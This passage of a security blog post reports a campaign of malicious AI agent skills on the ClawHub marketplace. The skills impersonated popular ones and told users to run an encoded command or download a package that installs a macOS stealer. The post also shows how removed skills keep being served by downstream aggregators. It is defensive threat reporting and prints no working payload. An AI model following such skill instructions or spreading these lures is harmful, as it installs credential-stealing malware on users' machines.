marketplace.</p><p>At least two users (@<strong>sakaen736jih</strong> and @<strong>moonshine-100rze</strong>) were uploading malicious skills impersonating popular, legitimate ones. Among the targeted skills (see complete list below) were: <em>bird</em>, <em>agent-browser</em>, <em>auto-updater</em>, <em>coding-agent</em>, <em>nano-pdf</em>, <em>excel</em>, <em>moltbook</em>, and more&#8230;</p><p>The campaign appears to be related to the <strong>ClawHavoc</strong> activity reported yesterday by <a href="https://www.koi.ai/blog/clawhavoc-341-malicious-clawedbot-skills-found-by-the-bot-they-were-targeting">Koi</a> and <a href="https://opensourcemalware.com/blog/clawdbot-skills-ganked-your-crypto">OpenSourceMalware</a>, with payloads delivering an <strong>Atomic macOS Stealer (AMOS)</strong> variant.</p><p>All malicious skill files exhibit the same characteristics: Description of the legitimate skill, followed by a note requiring windows users to download the OpenClawProvider package from an external source and Mac Users to pull the malicious payload using a based64 encoded command:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!7utO!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdef4e510-47ee-4f52-b9ec-31913d80d6b1_1930x1322.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!7utO!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdef4e510-47ee-4f52-b9ec-31913d80d6b1_1930x1322.png 424w, https://substackcdn.com/image/fetch/$s_!7utO!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdef4e510-47ee-4f52-b9ec-31913d80d6b1_1930x1322.png 848w, https://substackcdn.com/image/fetch/$s_!7utO!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdef4e510-47ee-4f52-b9ec-31913d80d6b1_1930x1322.png 1272w, https://substackcdn.com/image/fetch/$s_!7utO!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdef4e510-47ee-4f52-b9ec-31913d80d6b1_1930x1322.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!7utO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdef4e510-47ee-4f52-b9ec-31913d80d6b1_1930x1322.png" width="1456" height="997" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/def4e510-47ee-4f52-b9ec-31913d80d6b1_1930x1322.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:997,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:348586,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/186593412?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdef4e510-47ee-4f52-b9ec-31913d80d6b1_1930x1322.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!7utO!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdef4e510-47ee-4f52-b9ec-31913d80d6b1_1930x1322.png 424w, https://substackcdn.com/image/fetch/$s_!7utO!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdef4e510-47ee-4f52-b9ec-31913d80d6b1_1930x1322.png 848w, https://substackcdn.com/image/fetch/$s_!7utO!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdef4e510-47ee-4f52-b9ec-31913d80d6b1_1930x1322.png 1272w, https://substackcdn.com/image/fetch/$s_!7utO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdef4e510-47ee-4f52-b9ec-31913d80d6b1_1930x1322.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><p>The malicious packages was were quickly removed from ClawHub by <strong><a href="https://x.com/steipete">Peter Steinberger</a></strong><a href="https://x.com/steipete"> </a>and the users behind it were banned.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!1y66!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5f185561-4384-45f2-957d-b0ba3f42a437_948x372.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!1y66!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5f185561-4384-45f2-957d-b0ba3f42a437_948x372.png 424w, https://substackcdn.com/image/fetch/$s_!1y66!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5f185561-4384-45f2-957d-b0ba3f42a437_948x372.png 848w, https://substackcdn.com/image/fetch/$s_!1y66!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5f185561-4384-45f2-957d-b0ba3f42a437_948x372.png 1272w, https://substackcdn.com/image/fetch/$s_!1y66!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5f185561-4384-45f2-957d-b0ba3f42a437_948x372.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!1y66!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5f185561-4384-45f2-957d-b0ba3f42a437_948x372.png" width="544" height="213.46835443037975" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5f185561-4384-45f2-957d-b0ba3f42a437_948x372.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:372,&quot;width&quot;:948,&quot;resizeWidth&quot;:544,&quot;bytes&quot;:86035,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/186593412?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5f185561-4384-45f2-957d-b0ba3f42a437_948x372.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!1y66!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5f185561-4384-45f2-957d-b0ba3f42a437_948x372.png 424w, https://substackcdn.com/image/fetch/$s_!1y66!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5f185561-4384-45f2-957d-b0ba3f42a437_948x372.png 848w, https://substackcdn.com/image/fetch/$s_!1y66!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5f185561-4384-45f2-957d-b0ba3f42a437_948x372.png 1272w, https://substackcdn.com/image/fetch/$s_!1y66!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5f185561-4384-45f2-957d-b0ba3f42a437_948x372.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>This isn&#8217;t the first malicious skill campaign we&#8217;ve seen, and it likely won&#8217;t be the last. But the interesting part here isn&#8217;t just the malicious campaign.</p><p>It&#8217;s what happened <em>after</em> some of these skills were identified and removed.</p><blockquote><p><strong>UPDATE</strong>: On February 5th, we&#8217;ve identified an additional batch of malicious skills with the same characteristics pushed by user <strong>@zaycv</strong> including <em>whatsapp</em>, <em>blrd</em>, <em>youtubewatcher</em>, and others (see complete list in the IoCs section).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!oECu!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F815fe1c4-5270-4ab0-9b96-4316783bf254_2004x1586.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!oECu!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F815fe1c4-5270-4ab0-9b96-4316783bf254_2004x1586.png 424w, https://substackcdn.com/image/fetch/$s_!oECu!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F815fe1c4-5270-4ab0-9b96-4316783bf254_2004x1586.png 848w, https://substackcdn.com/image/fetch/$s_!oECu!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F815fe1c4-5270-4ab0-9b96-4316783bf254_2004x1586.png 1272w, https://substackcdn.com/image/fetch/$s_!oECu!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F815fe1c4-5270-4ab0-9b96-4316783bf254_2004x1586.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!oECu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F815fe1c4-5270-4ab0-9b96-4316783bf254_2004x1586.png" width="602" height="476.3076923076923" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/815fe1c4-5270-4ab0-9b96-4316783bf254_2004x1586.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1152,&quot;width&quot;:1456,&quot;resizeWidth&quot;:602,&quot;bytes&quot;:516469,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/186593412?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F815fe1c4-5270-4ab0-9b96-4316783bf254_2004x1586.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!oECu!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F815fe1c4-5270-4ab0-9b96-4316783bf254_2004x1586.png 424w, https://substackcdn.com/image/fetch/$s_!oECu!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F815fe1c4-5270-4ab0-9b96-4316783bf254_2004x1586.png 848w, https://substackcdn.com/image/fetch/$s_!oECu!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F815fe1c4-5270-4ab0-9b96-4316783bf254_2004x1586.png 1272w, https://substackcdn.com/image/fetch/$s_!oECu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F815fe1c4-5270-4ab0-9b96-4316783bf254_2004x1586.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div></blockquote><h3>First things first: what are agent skills?</h3><p>Agent skills are bundles of instructions, scripts, and resources that agents can discover and use to perform tasks more accurately and efficiently.</p><p>According to the official <a href="https://agentskills.io/what-are-skills">specification</a>:</p><blockquote><p>&#8220;Agent Skills are a lightweight, open format for extending AI agent capabilities with specialized knowledge and workflows.&#8221;</p></blockquote><p>At a structural level, a skill is typically a folder centered around a <code>SKILL.md</code> file. This file contains basic metadata (<strong>name</strong> and <strong>description</strong>, at minimum) longside natural-language instructions that tell the agent <em><strong>how</strong></em> to perform a specific task. Skills can also include additional scripts, templates, configuration files, and reference materials that the agent is expected to read and act upon.</p><pre><code><code>my-skill/
&#9500;&#9472;&#9472; SKILL.md          # Required: instructions + metadata
&#9500;&#9472;&#9472; scripts/          # Optional: executable code
&#9500;&#9472;&#9472; references/       # Optional: documentation
&#9492;&#9472;&#9472; assets/           # Optional: templates, resources</code></code></pre><h4>Why skills change the supply-chain equation</h4><p>Traditional dependency risk is already hard: transitive dependencies, maintainer compromise, typosquatting, social engineering, and the occasional &#8220;oops we shipped a credential&#8221;. Most security teams have at least <em>some</em> controls here (SCA, allowlists, pinned versions, artifact scanning, SBOMs).</p><p>Skills shift the ground under all of that.</p><p>A &#8220;skill&#8221; is often:</p><ul><li><p><strong>Instructions</strong> (natural language directives the model will follow)</p></li><li><p><strong>Executable artifacts</strong> (scripts, templates, helper binaries)</p></li><li><p><strong>Metadata</strong> (author, popularity, categories, versioning, update streams)</p></li><li><p><strong>Access wiring</strong> (API keys, env vars, OAuth tokens, file paths, tool permissions)</p></li></ul><p>This means you&#8217;re not just importing code - you&#8217;re importing <strong>behavior</strong>.</p><p>And it is behavior executed by a system that is:</p><ul><li><p>Highly privileged (by design)</p></li><li><p>Non-deterministic and difficult to reason about end-to-end</p></li><li><p>Susceptible to persuasion and manipulation</p></li></ul><p>In other words, skills are compound supply-chain risk <strong>with</strong> agentic risk.</p><p>Ok, now that we understand what Skills are, let&#8217;s get back to what we found&#8230;</p><h3>Removal is Not Remediation: Downstream Skill Marketplaces Amplify Risk</h3><p>In young ecosystems, people lean heavily on reputation signals like:</p><ul><li><p>Download counts</p></li><li><p>Stars</p></li><li><p>A credible owner</p></li></ul><p>But, as Jamieson O&#8217;Reilly <a href="https://x.com/theonejvo/status/2015892980851474595">demonstrated</a> last week, early marketplace ecosystems repeatedly demonstrate how <strong>fragile and easy to spoof</strong> those signals are. By targeting the recent trending ClawHub marketplace (which had no static analysis, no behavioral restrictions, and no review process), he showed how trivial it can be to publish a backdoored skill, inflate popularity metrics, and get real users to run it, believing it&#8217;s legitimate.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!t3T3!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffefbb776-6320-499b-be12-c127eaa3282f_1162x1148.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!t3T3!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffefbb776-6320-499b-be12-c127eaa3282f_1162x1148.png 424w, https://substackcdn.com/image/fetch/$s_!t3T3!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffefbb776-6320-499b-be12-c127eaa3282f_1162x1148.png 848w, https://substackcdn.com/image/fetch/$s_!t3T3!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffefbb776-6320-499b-be12-c127eaa3282f_1162x1148.png 1272w, https://substackcdn.com/image/fetch/$s_!t3T3!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffefbb776-6320-499b-be12-c127eaa3282f_1162x1148.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!t3T3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffefbb776-6320-499b-be12-c127eaa3282f_1162x1148.png" width="334" height="329.9759036144578" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/fefbb776-6320-499b-be12-c127eaa3282f_1162x1148.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:false,&quot;imageSize&quot;:&quot;normal&quot;,&quot;height&quot;:1148,&quot;width&quot;:1162,&quot;resizeWidth&quot;:334,&quot;bytes&quot;:1060861,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/186593412?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffefbb776-6320-499b-be12-c127eaa3282f_1162x1148.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:&quot;center&quot;,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!t3T3!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffefbb776-6320-499b-be12-c127eaa3282f_1162x1148.png 424w, https://substackcdn.com/image/fetch/$s_!t3T3!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffefbb776-6320-499b-be12-c127eaa3282f_1162x1148.png 848w, https://substackcdn.com/image/fetch/$s_!t3T3!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffefbb776-6320-499b-be12-c127eaa3282f_1162x1148.png 1272w, https://substackcdn.com/image/fetch/$s_!t3T3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffefbb776-6320-499b-be12-c127eaa3282f_1162x1148.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption"></figcaption></figure></div><p>The thing is, ClawHub is not the only place skills are distributed.</p><p>Several other registries and aggregators index skills automatically from external sources:</p><ul><li><p>Some, crawl public GitHub repositories and ingest anything that looks like a skill.</p></li><li><p>Others pull directly from upstream repos and re-publish them under a different interface.</p></li></ul><p>In the OpenClaw ecosystem, this creates a critical failure mode for <a href="https://github.com/openclaw/clawhub/issues/129">second order supply chain risk</a>.</p><p>It turns out that skills that were <strong>flagged and removed from ClawHub&#8217;s UI</strong> continue to exist in upstream repositories - and are still being indexed, served, and installable through downstream marketplaces.</p><p><a href="https://skillsmp.com/">SkillsMP</a>, which currently has over 145K skills, is a once such example. Let&#8217;s look at a concrete example - one of the malicious packages from the current campaign - <code>bird-js</code>. If we head over to it's relevant <a href="https://skillsmp.com/skills/openclaw-skills-skills-sakaen736jih-bird-js-skill-md">SkillsMP</a> page, we can see a few (bad) things:</p><ul><li><p>The author appears to be &#8220;OpenClaw&#8221;</p></li><li><p>Stars and forks were inherited from the upstream repository, lending false credibility</p></li><li><p>The displayed <code>SKILL.md</code> still contained the malicious payload, yet there is no other indication that this isn&#8217;t the legitimate <code>bird</code> skill.</p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!r1Zx!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4b6942d1-ef39-4f10-86be-6fe486d48e3a_1424x1138.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!r1Zx!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4b6942d1-ef39-4f10-86be-6fe486d48e3a_1424x1138.png 424w, https://substackcdn.com/image/fetch/$s_!r1Zx!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4b6942d1-ef39-4f10-86be-6fe486d48e3a_1424x1138.png 848w, https://substackcdn.com/image/fetch/$s_!r1Zx!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4b6942d1-ef39-4f10-86be-6fe486d48e3a_1424x1138.png 1272w, https://substackcdn.com/image/fetch/$s_!r1Zx!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4b6942d1-ef39-4f10-86be-6fe486d48e3a_1424x1138.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!r1Zx!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4b6942d1-ef39-4f10-86be-6fe486d48e3a_1424x1138.png" width="1424" height="1138" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4b6942d1-ef39-4f10-86be-6fe486d48e3a_1424x1138.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1138,&quot;width&quot;:1424,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:420107,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/186593412?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4b6942d1-ef39-4f10-86be-6fe486d48e3a_1424x1138.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!r1Zx!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4b6942d1-ef39-4f10-86be-6fe486d48e3a_1424x1138.png 424w, https://substackcdn.com/image/fetch/$s_!r1Zx!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4b6942d1-ef39-4f10-86be-6fe486d48e3a_1424x1138.png 848w, https://substackcdn.com/image/fetch/$s_!r1Zx!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4b6942d1-ef39-4f10-86be-6fe486d48e3a_1424x1138.png 1272w, https://substackcdn.com/image/fetch/$s_!r1Zx!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4b6942d1-ef39-4f10-86be-6fe486d48e3a_1424x1138.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 